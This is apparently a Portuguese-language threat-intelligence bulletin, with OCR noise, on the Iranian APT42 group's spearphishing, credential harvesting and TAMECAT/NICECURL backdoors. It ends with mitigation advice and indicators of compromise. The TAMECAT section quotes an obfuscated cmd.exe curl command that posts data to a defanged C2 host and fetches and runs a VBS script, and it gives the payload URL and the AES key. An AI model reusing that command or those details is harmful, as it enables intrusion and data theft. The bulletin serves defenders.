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A conta oficial do grupo de Threat Intelligence da ISH.
Conheg¢a mais do que fazemos aqui:

Acesse boletins diarios sobre agentes de ameacas,
malwares, indicadores de comprometimentos, TIPs e
outras informacgoes no site da ISH.

Boletins de Seguranca - Heimdall

Malware Ransomware

CONTAS DO FACEBOOK SAD INVADIDAS ALERTA PARA RETORNO DO MALWARE GRUPO DE RANSOMWARE CLOP
POR EXTENSOES MALICIOSAS DE EMOTET! EXPLORANDO VULNERABILIDADE PARA
NAVEGADORES NOVAS VITIMAS

0 malware Emotet apés permanecer alguns
Descoberto recentemente que atores meses sem operagdes retornou cou outro 0 grupo de Ransomware conhecido como
maliciosos utilizam extensdes de meio de propagagao, via OneNote e também ClOp esta explorando ativamente a
navegadores para realizar o roubo de cookies dos métodos ja conhecidos via Planilhas e vulnerabilidade conhecida como
de sessoes de sites como o Facebook. A Documentos do Microsoft Office CVE-2023-0669, na qual realizou o ataque a
extensdo maliciosa é oferecida como um diversas organizagdes e expds os dados no
anexo do ChatGPT. site de data leaks
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1 SUMARIO EXECUTIVO

O grupo APT42, apoiado pelo governo do Ira, esta utilizando métodos
sofisticados de engenharia social para invasdo de redes, abrangendo também
plataformas de nuvem. Seu foco esta em organizacdes nao governamentais tanto
do Ocidente quanto do Oriente Médio, além de entidades de midia, universidades,
servicos de advocacia e ativistas.
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2 INFORMAGCOES SOBRE A AMEAGA

Os integrantes do grupo APT42, estdo se disfarcando de jornalistas e
organizadores de conferéncias, estabelecendo confianga com alvos para
disseminar convites e documentos aparentemente auténticos. Essa abordagem de
engenharia social facilitou a coleta de credenciais, permitindo o acesso inicial aos
sistemas em nuvem das vitimas. Em seguida, o grupo exfiltrou dados valiosos para
o Ira, utilizando ferramentas integradas e de cddigo aberto para permanecer
indetectavel. Realizou também operagbes com malware, empregando backdoors
especificos chamados NICECURL e TAMECAT, distribuidos via spearphishing.
Esses backdoors permitem um acesso remoto que pode ser utilizado tanto para
execugao de comandos quanto para introdugao de malwares secundarios.

As operacgoes do grupo alinham-se com os objetivos do IRGC-IO, parte da
inteligéncia iraniana encarregada de identificar e neutralizar ameacgas externas e
distdrbios internos na Republica IslAmica. Suas acdes coincidem com as de outros
agentes cibernéticos conhecidos como CALANQUE, Charming Kitten, Mint
Sandstorm/Phosphorus, TA453, Yellow Garuda e ITG18, todos identificados por
diferentes organizagdes de seguranga cibernética.

0:

Credentials Cloud Data Malware
Harvesting Exfiltration Operations

Figura 1- Operagbes do APT42.

Este grupo é notdrio por suas operagdes abrangentes de obtencao de
credenciais, frequentemente realizadas junto a campanhas de spearphishing sob
medida e ampla engenharia social. O processo de coleta de credenciais
geralmente envolve trés fases principais, que sdo detalhadas na imagem abaixo.
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SPEAR-PHISHING EMAILS CONTAINING
MALICIOUS LINKS TO LURES

STEP1 « Documents with contents related
to Iran and other foreign affairs topics
_— FAKE WEBSITE POSING AS LEGITIMATE
D J— SERVICES, NEWS OUTLETS AND NGOS
STEP 2 —— - Examples: The Washington Post /

“Mailer Daemon” / Bitly URL shortener
- Often accompanied by a decoy document

FAKE GOOGLE/MICROSOFT LOGIN PAGE
STEP3 * * * « Occasionally hosted on a different domain,
to which the user is redirected after Step 2

MANDIANT

Figura 2 - Ciclo de vida do ataque.

Em marco de 2023, o grupo realizou um ataque de spearphishing, enviando
um e-mail que continha um convite fraudulento para uma reunido no Google Meet.
O convite era atribuido falsamente a Mona Louri, uma identidade que se suspeita
ser ficticia, utilizada pelo ator sob o pretexto de ser ativista e pesquisadora na area
de direitos humanos. Os destinatarios que clicaram no link foram redirecionados
para uma versao falsificada da pagina do Google Meet, onde lhes foi pedido que
digitassem suas informacdes de login. Essas credenciais foram entdo capturadas
e encaminhadas aos cibercriminosos. Para conferir mais veracidade a fraude, a
pagina foi criada utilizando o Google Sites (sites[.]google[.]Jcom), uma escolha
estratégica para dar aparéncia legitima ao golpe. Além disso, o codigo HTML da
pagina continha referéncias ocultas a um dominio especifico do grupo. Esse
incidente chegou a ser discutido publicamente em plataformas como o Twitter.

Follow

Mona Louri

@mona_louri

Human Rights for ever
My Case Study (Afghanistan & Iran)
Researcher at AC

® US. Chicago [EJ Joined December 2013

344 Following 308 Followers

Figura 3 — Conta no Twitter de uma provavel persona falsa.
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Entre novembro e dezembro de 2023, o grupo mirou em entidades de midia
e ONGs, utilizando e-mails de spearphishing com links encurtados pelo servigco
"n9[.]cl". Esses links conduziam as vitimas a um site que imitava o Google Drive,
localizado no dominio "review[.]Jmodification-check[.]Jonline", com o intuito de
coletarcredenciais. Emalguns casos, os links para o dominio fraudulento ndo eram
encurtados. Como parte da campanha, um arquivo inofensivo foi distribuido
através do Google Drive. Ja em fevereiro de 2024, a empresa de seguranga
Mandiant detectou que o dominio "nterview|[.]" do grupo redirecionava para
"admin-stable-right[.Jtop", um site que apresentava uma falsa pagina de login do
Gmail, visando obter as credenciais de uma ativista dos direitos das mulheres.

O mesmo dominio "nterview[.]" foi visto redirecionando para um conteudo
relacionado aos direitos das mulheres, supostamente enviado por "Jamileh
Nedai", que pode ser uma referéncia a cineasta e ativista iraniana dos direitos das
mulheres. O material utilizado como isca era um arquivo PDF chamado
"Questionnaire.pdf", armazenado no Dropbox e intitulado "Women’s Struggles
and Protest ". O criador do documento foi listado como "David Webb", nome que
pode estar associado a um colaborador da Fox News. Nao ha indicagdes de que
"David Webb" tenha sido um alvo do grupo, mas seu nome parece ter sido usado
indevidamente para conferir maior credibilidade a isca.

Em marco de 2024, detectou-se o TAMECAT, uma ferramenta de PowerShell
que executa scripts em PowerShell ou C#. Disseminado através de macros em
documentos nocivos, o TAMECAT se comunica com seu servidor C2 via HTTP,
aguardando por dados em Base64. O TAMECAT ja foi utilizado pelo APT42 em
ataques direcionados a individuos e organizacdes vinculadas a ONGs, governos e
instituicoes intergovernamentais ao redor do mundo. O ataque inicia com um
downloader VBScript que, usando o Windows Management Instrumentation (WMI),
checa por antivirus no sistema alvo.

A presenca do Windows Defender determina quais comandos e URLs serédo
empregados para o download. Se o Windows Defender estiver ativo, o script utiliza
o0 conhost para rodar um comando PowerShell que baixa dados do endereco:
hxxps://s3[.]tebi[.]io/icestorage/config/nconf.txt. Em outros cenarios, o script
recorre ao Cmd.exe para executar um comando Curl, similar aos usados na
sequéncia NICECURL.
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O arquivo nconf.txt (MD5: 081419a484bbf99f278ce636d445b9d8) contém
um backdoor TAMECAT escondido e criptografado via AES. Um segundo script
PowerShell é entdo baixado para descriptografar o backdoor TAMECAT. O backdoor
TAMECAT usa uma chave AES ‘kNzOCXiPOWEQnhZXYbvraigXvRVYHk1B’ e um IV
de 16 caracteres aleatérios, derivados da sequéncia de letras. O IV é adicionado ao
cabecalho Content-DPR do POST. A chave AES nao é enviada ao C2, indicando que
a mesma chave é utilizada para varias vitimas. Respostas do C2 contém o
cabecalho Content-DPR, que inclui um IV para descriptografar os dados com a
chave AES mencionada.

cmd.exe /c set c=cu9rl --s9sl-no-rev9oke -5 -d ““il=aaaa&EF1=2mtxt&WF1=test.pdf"" -X PO9SST
hxxp:/tnt200[.Jmywire[.] org/Do1 -o %temp%\2m.v9bs & ligue %c:9=% & set b=sta9rt """
“I%tempds\2myv9bs™ & ligue %b:9=%

Figura 4 - Comando do Powershell.
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3 RECOMENDACOES

Além dos indicadores de comprometimento elencados abaixo pela ISH,
poderdo ser adotadas medidas visando a mitigacdo da infeccdo do referido
malware, como por exemplo:

Treinamento de conscientizagao

e Educar os funcionarios sobre técnicas de engenharia social, como as
usadas pelo APT42 para se passar por jornalistas e obter credenciais.

Autenticacao multifator

e Implementar autenticagcdo multifator para adicionar uma camada extra de
seguranca ao acesso a sistemas e informacgoes sensiveis.

Monitoramento continuo

e Utilizarferramentas de monitoramento de rede e analise de comportamento
para detectar atividades suspeitas que possam indicar uma intrusao.

Atualizagoes e patches

e Manter todos os sistemas operacionais e softwares atualizados com os
ultimos patches de segurancga para corrigir vulnerabilidades exploraveis.

Controle de acesso

e Restringir o acesso a informacdes e sistemas apenas ao necessario para as
funcdes de trabalho, minimizando o risco de acesso indevido.

Backup e recuperacao

o Realizarbackupsregulares eterum plano de recuperagcdo de desastres para
restaurar dados em caso de um ataque bem-sucedido.

Seguranga na huvem

e Proteger dados armazenados na nuvem com criptografia e outras medidas
de seguranca para evitar acessos nao autorizados.

Resposta aincidentes

e Ter um plano de resposta a incidentes cibernéticos para agir rapidamente
em caso de deteccéo de atividades do APT42.
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4 INDICADORES DE COMPROMISSOS

A ISH Tecnologia realiza o tratamento de diversos indicadores de
compromissos coletados por meio de fontes abertas, fechadas e também de
analises realizadas pela equipe de seguranca Heimdall. Diante disto, abaixo
listamos todos os Indicadores de Compromissos (IOCs) relacionadas a anélise
do(s) artefato(s) deste relatoério.

Indicadores de compromisso do artefato
md5: d5a05212f5931d50bb024567a2873642

sha1: 70065b263f14c48eeb86e2436ba064c531670e71
sha256: e0balOcedd8a8624c75af29965e5fa7ab754fc0fcddbb330bb548dab4f2be333f
File name: OneDrive-Form.pdf.Ink

Indicadores de compromisso do artefato
md5: 347b273df245f5e1fcbef32f5b836f1d

sha1: 986b68167fb0fc3ffb3985451d431c861afacbad
sha256: 0e51029ba28243b0a6a071713c17357a8eb024aa4298d1ccc9e2c4ac8916df4d
File name: kuzen.vbs

Indicadores de compromisso do artefato
md5: 2f6bf8586ed0a87ef3d156124de32757
sha1: 0a3edf66a8112980b16ee42299e5e9bf6036af33
sha256: 3226b3e7d7fdaebfe7d7f06bdaf0cad08ea9792cd32843d01e6023f67cd0c889

File name: question-Em.pdf
Tabela 1 -Indicadores de Compromissos de artefatos

Indicadores de URL, IPs e Dominios

Indicadores de URL, IPs e Dominios

azadllig[.]info
businesslnsider|.]org
ecomonist[.]org
eocnomist[.Jcom
foreignaffairs[.]Jcom
forieqgnaffairs[.]Jcom
foreiqgnaffairs[.]org
israelhayum[.Jcom
jpost[.]press
jpostpress[.Jcom
khaleejtimes].]org
khalejtimesl.]org

Tabela 2 - Indicadores de Compromissos de Rede.

Obs: Os links e enderecgos IP elencados acima podem estar ativos; cuidado ao realizar a
manipulacao dos referidos 10Cs, evite realizar o clique e se tornar vitima do conteudo
malicioso hospedado no loC.
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